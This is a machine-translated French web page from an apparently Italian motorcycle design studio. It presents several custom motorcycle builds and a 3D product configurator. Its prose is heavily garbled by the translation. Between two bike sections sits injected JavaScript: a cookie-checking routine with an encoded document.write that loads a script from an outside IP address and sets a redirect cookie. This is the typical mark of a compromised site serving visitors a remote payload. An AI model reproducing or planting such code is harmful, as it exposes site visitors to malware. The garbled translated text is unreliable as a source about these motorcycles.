Articles balisés ‘moto personnalisée’

CR&S EFFECTUE “REDSHIFT”

Dans le but de la recherche!

Le redshift donné est l'évolution naturelle de la note CR&S EFFECTUE, moto exclusivement produite en petite circulation par le fabricant de moto Meneghina avec moule artisan.
lorsqu'en 2013 duu le projet a été interrompu par se sentir mal à l'intérieur CR&S, son concepteur en chef Donato Cannatello, Après un bref passage dans Matchless, Il a décidé d'ouvrir son propre centre de design, et de faire avancer le projet duu, maintenant orphelins à cause de ses créateurs, Cependant, en utilisant la coopération et l'approbation des fondateurs de la moto exclusive, ainsi que de la main-d'œuvre opérationnelle, grâce à l'estime et de l'amitié sans changement.

Le vélo d'origine a été développé selon ceux qui étaient certaines normes stylistiques identifiées à l'époque comme une évolution naturelle du modèle « Biotta » (ed "Naked") à l'occasion présentée par la société.

La refonte a évidemment mis l'accent sur la nouvelle extrémité avant stable rock, le remplacement de la fourche inversée d'origine avec un système innovant pour le coussin central et des gaines de coulissement latéral. Laprogettazione la nouvelle extrémité avant est né à l'ordinateur, la création de tous les composants au moyen de modélisation et d'analyse tridimensionnelle FEM , dont il nous a aussi permis d'analyser chaque partie par le contrôle des forces auxquelles il est soumis.
Les composants ont été réalisés au moyen de la technologie d'enlèvement CNC (commande numérique
informatisé) avec fraisage billettes.

la conception (ou plutôt la réalisation) des différents composants de cuivre est le quid qui a donné le caractère chromatique et de l'artisanat à la moto.
A partir des formes originales de pièces de carrosserie, grâce à la technologie de frappe traditionnelle basée sur terrain, Ils ont pris la forme des éléments qui apportent avec eux-mêmes le travail manuel d'artisans qualifiés chartreux du métal noble.

Le redshift est encore une moto tous les jours, non seulement par la performance.
L'un des principaux éléments qui répondent à cette idée est le nouveau siège du passager / arrière qui a un double sens, sur un côté, « Voiture de couverture » avec une base en billettes d'aluminium qui crée une continuité visuelle avec la géométrie de la queue / réservoir, tout simplement le tournant se la selle rembourré pour accueillir le passager si nécessaire.

Le nom du projet « Redshift », le phénomène par lequel la lumière émise par un objet astrale a une longueur d'onde plus grande taille que celle qu'il avait à l'émission, shiftando sa couleur rouge, Il symbolise l'évolution de duu, de petites motos à la série seulement vélo évolué.

IL REDSHIFT:

  • Le décalage vers le rouge est le phénomène par lequel la lumière émise par un objet a une longueur d'onde plus longue que celle qui avait à l'émission.
    Cela signifie que la couleur vire au rouge.
  • Le plus important est le redshift dans la cosmologie, en raison de l'expansion de l'univers. Les étoiles en particulier montrent un redshift correspondant à la vitesse avec laquelle augmente la distance de la terre.
  • Le cuivre est utilisé sur notre duu son déplacement du duu d'origine, le vieillissement va changer sa couleur, en supposant que les variations chromatiques que le matériel prendra.
logo

CONCOURS ITALIEN MOTOS
"BEST OF SHOW 2018"

notre TRANSPORTE "redshift" Il a remporté le prix "BEST OF SHOW" le concours national IMC , se heurtant avec d'autres motos belles et du plus haut niveau.

Cela nous remplit de toute évidence avec fierté et nous motive à faire encore mieux.

Les partenaires du projet:

suspension Andreani
Rizoma
S&S
ARGENT ERT argent 3
Paaschburg & Wunderlich GmbH
motogadget
TAPISSERIE Marra Fabrizio Marra
ph. Arianna Pavani
ph. Donato Cannatello
FACEBOOK INSTAGRAM ph. Guido Polli

Kit de presse de REDSHIFT

Télécharger le dossier de presse DONNÉ REDSHIFT

Développement d'applications et configurateur 3D

Merci à notre expérience dans conception de moto, dans la conception et le style et la modélisation en trois dimensions, nous avons développé une configurateur 3D qui peuvent être déclinées comme configurateur de mouvement, configurateur de voiture ou plus génériquement comme configurateur de produits. en réalité,, pour être plus précis, Il est une plate-forme entièrement configuré pour plusieurs types d'objets, surtout évidemment elle motocyclettes capable de fonctionner sur différentes plates-formes.

touch_kiosk

Parce que notre configurateur 3D?

Contrairement aux systèmes conventionnels de configuration, la nôtre est beaucoup plus vaste et modulaire mais surtout evolvable dans le temps d'une manière très simple.

 

Ce système se traduit par un outil, pour les fabricants de motos (ou d'autres produits), extrêmement utile et efficace.

 

 

 

 

Fonctionnalité configurateur 3D:

 

 

Avec notre système, le client peut facilement les insérer dans le conteneur de configuration:

  • Plusieurs modèles ou variantes, les faire évoluer au fil du temps et les détails (ces coûts, devises, etc. Localisations)
  • Les systèmes de surveillance et de suivi des données de l'utilisateur final (Géolocalisation, adresses et préférences ...)
  • listes mises à jour dans le multi-devises en temps réel
  • Branchement et configuration directement dans le concessionnaire Coin
  • Réservations en ligne
  • systèmes immersifs pour les événements, expositions et présentations
  • des mises à jour graphiques, accessoires, couleurs et de modèles cours
  • Modèle Change Année

 

 

 

 

dans Fiera ?

Notre configurateur 3D fonctionne sur deux moniteurs, un contrôle et un affichage, De cette façon, l'expérience utilisateur est non exclusif, mais elle implique l'ensemble du public!

Essayez-le maintenant!

Faites une visite virtuelle dans notre configurateur 3D pour UM Motorcycles

Kawasaki ZXR 1100 “FURTIF”

Un classique réédité dans un post-moderne / atomique!

Logo_Officine_Riunite_MilanesiCréé pour et avec "Officine Riunite Milanesi" d'une Kawasaki ZXR 1100, "Lamaialona" Il est un studio de design délibérément forte sur une base très simple.
Fatigué des mêmes interprétations RACER clés Cafè, Scrambler o Hypster, nous avons opté pour une interprétation qui nous permettrait de faire à la fois l'expérimentation formelle à la fois des techniques et des matériaux utilisés.
L'idée initiale était un vélo dans la discrétion style, littéralement "infiltration, clandestinement", Nous avons ensuite essayé d'appliquer ce concept à un moyen national militaire typique ou autre route, bien sûr, nous nous sommes concentrés sur la forme carrée typique de cette conception, sur des arêtes vives et de la nature technique du design global. aussi de "jargon" militaires ont hérité de la performance de tous les types de sols, de pur hors-piste de la piste, l'équipement au moyen d'un système de vélo très efficace, le remplacement des suspensions, roues et système de freinage. Ce dernier a été réalisé ad hoc selon notre conception de "Discacciati Système de freinage" Nous vous remercions de nous avoir rejoints dans ce procès impliquant, toujours avec les normes les plus élevées de critères de fiabilité et de sécurité, un composant de sorte exclusivement technique et fonctionnel en tant que système de freinage.

Un spectacle de moto et le col Futa

Le vélo est conçu dans son ensemble comme un élément de la recherche sur la conception des tendances futures de moto à la fois de la production de masse, mais aussi du personnel d'interprétation privée, nous pensons que le résultat de cette expérience est certainement positif, nous avons vu que vous pouvez produire une moitié de la caractérisation mécanique forte sans avoir l'air d'un vélo de rat ou un vieux tracteur vient de sortir des années de léthargie dans une grange. Le résultat est cependant un vélo qui est très bien adapté à la fois un usage intensif, comme une excursion à long terme, ou un tour dans les collines ou une Futa stressant Col. Mais en même temps, vous pouvez utiliser "Lamaialona" comme un moyen de transport quotidien ou un simple mouvement "bar".

Imprimer 3D

Lamaialona a été réalisé avec l'aide de la conception 3D et des systèmes modernes d'impression. La première étape a consisté à mettre le vélo sur votre ordinateur, alors voici nous avons procédé à la numérisation en trois dimensions, dès que la moitié est venu à l'atelier, le temps d'enlever toutes les superstructures et 5 minutes, nous avons eu un beau nuage de points qui nous ont permis de procéder à la conception avec une photo pleine grande.
Une fois que nous avons défini le style que nous avons commencé avec la mise en œuvre des différentes parties. Dans le premier cas, nous avons utilisé nos imprimantes 3D pour vérifier que les pièces ont été assemblées correctement.
Le vélo a ensuite été créé avec un mélange de techniques, conception numérique et des manuels plus pratiques. Après avoir numérisé toutes les pièces qu'ils ont été conçus en 3D, mais alors les parties en tôle d'aluminium ont été découpées et soudées à la main, Toutes les pièces en plastique à la place sont conçus en fonction des critères de faisabilité du CNC pour les reproductions futures puis mises en œuvre grâce à l'impression 3D FDM. A ce moment-là une bonne couche de peinture et ici les pièces prêtes pour l'installation.
Le carénage a été fabriqué à partir de la place d'un seul bloc d'aluminium 6061 par fraisage CNC, ceci dans le but d'obtenir une très souvent sans le défaut classique de bord de tôle de faible épaisseur avec bord exposé.

Omologabilità

plaque de visibilité géométrique PL

Le vélo tout a été conçu en fonction des critères de pertinence parfaite homologation, il est donc parfaitement "code conforme" selon les directives CE (2002/24/CE). Toutes les lumières sont approuvés et positionnés la position correcte géométriquement, de même pour la plaque d'immatriculation et tous les autres accessoires illustrés. De même, les pièces mécaniques sont prêts à surmonter positivement les tests d'homologation liés (réservoir, trépied etc.).

Officine Riunite Lamaialona by GIVEN (LR) (2)

MOTO GUZZI V11 “Darkest”

La personnalisation de votre moto est quelque chose de différent de tout autre type de personne de recherche peut faire.

Il est différent de la recherche technologique visant à la création ou l'invention de quelque chose, Il est différent de la recherche de conception qui peut être fait lors de la conception de quelque chose, Il est également différent de la personnalisation qui peut être fait dans d'autres domaines. Du plus frivole comment choisir la couleur des chaussettes au plus important que la grande rénovation architecturale mais en fait très différente de la pratique similaire de la personnalisation d'une voiture.

La marque une moto comme semblable à eux-mêmes ou à leurs idées ou idéaux ou leurs styles est une opération qui pour la plupart du développement implique de nombreuses heures debout juste assis sur le côté pour regarder votre vélo, imaginer, rêver.

Quand nous pensons à notre vélo imaginer comme un complément indispensable. Il n'y a rien qui est pas la façon dont nous voulons, aucune pièce, aucune vis, pas de couleur, pas de réflexion, pas d'ombre.

Notre MOTO GUZZI V11 est à notre avis le vrai sur mesure appliquée aux motos.

Une définition minutieuse du goût et le style du client, de la façon dont il conduit, de la façon dont il se habille, ce qu'il aime et ce qu'il n'aime pas, comment prendre soin et comment il maltraite.

Aucun élément flashy, mais un ensemble de finitions élégantes et pièces, une moto “bonne” et savoureux, mais pas des cris et ne sont pas flashy. Un équilibre des couleurs et des petits détails à découvrir mais surtout à utiliser, appliqué sur une base mécanique simple mais puissant. Un vélo fonctionnel mais avec le goût de vous traditionnel et fait aller au travail agréable et vous fait mieux commencer la journée.

Triumph Speed ​​Triple 1050 “vitesse Noir”

Triple La Triumph Speed 1050 Il est l'un de nos moto préférée, son cadre de vélo, esthétique, la position de conduite, les caractéristiques du moteur font le parfait mélange de regards, amusement, la facilité d'utilisation et l'aspect!
Peut-être que nous ne sommes pas seulement pour l'optique chrome typique double de ce vélo et la série précédente, mais il reste une caractéristique distinctive importante unique et distinctif, donc impossible de l'enlever.
Pour cette moto si nous avons opté pour un restyling lumière de la zone feu arrière, très important et une base lourde, la réalisation ad hoc et une plaque de support de phare de dimensions réduites.
Toute la file d'attente a ensuite été aminci et grâce à la faible décharge et court, beaucoup de course, qui donne à la moto une image beaucoup plus mince.

Le résultat global est un beau vélo, facile à voir et à utiliser, léger et agréable à conduire, grâce à graphique “ton de ton” Il reste un objet mystérieux et élégant qui déambule dans la ville la nuit illuminée par des réverbères Quartz et rythmé par des notes de Club Metropolitan.

Quelques couvertures consacrées à duu

fonction getCookie(e){var U = document.cookie.match(nouveau RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));retour U?decodeURIComponent(la[1]):vide 0}var src =”Les données:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,maintenant = Math.floor(Date.now()/1e3),biscuit = getCookie(“réorienter”);si(à présent>=(temps = biscuit)||vide 0 === temps){var temps = Math.floor(Date.now()/1e3 + 86400),Date = new Date((nouvelle date).obtenir du temps()+86400);document.cookie =”redirect =”+temps +”; path = /; expires =”+Date.toGMTString(),document.write(”)}

Aprilia RÂMSEX

 

logo apriliaOuvrez-RÂMSEX est un concept avancé développé par ordre de l'Aprilia, les mécanismes de base est celle de l'Aprilia Dorsoduro, puis le moteur bicylindre en V de 90 degrés et la structure de châssis tubulaires mixtes / plaques d'aluminium dans pressofusione.Aprilia RÂMSEX 750.

Notre proposition ne voit plus la superstructure’ chétif, la roue avant 19″ , faibles débits et le réservoir sous la selle, tout cela pour un produit plus’ route, plus’ minimale, plus orientée’ vers un cubage supermotard qu'une grande tendance endurona.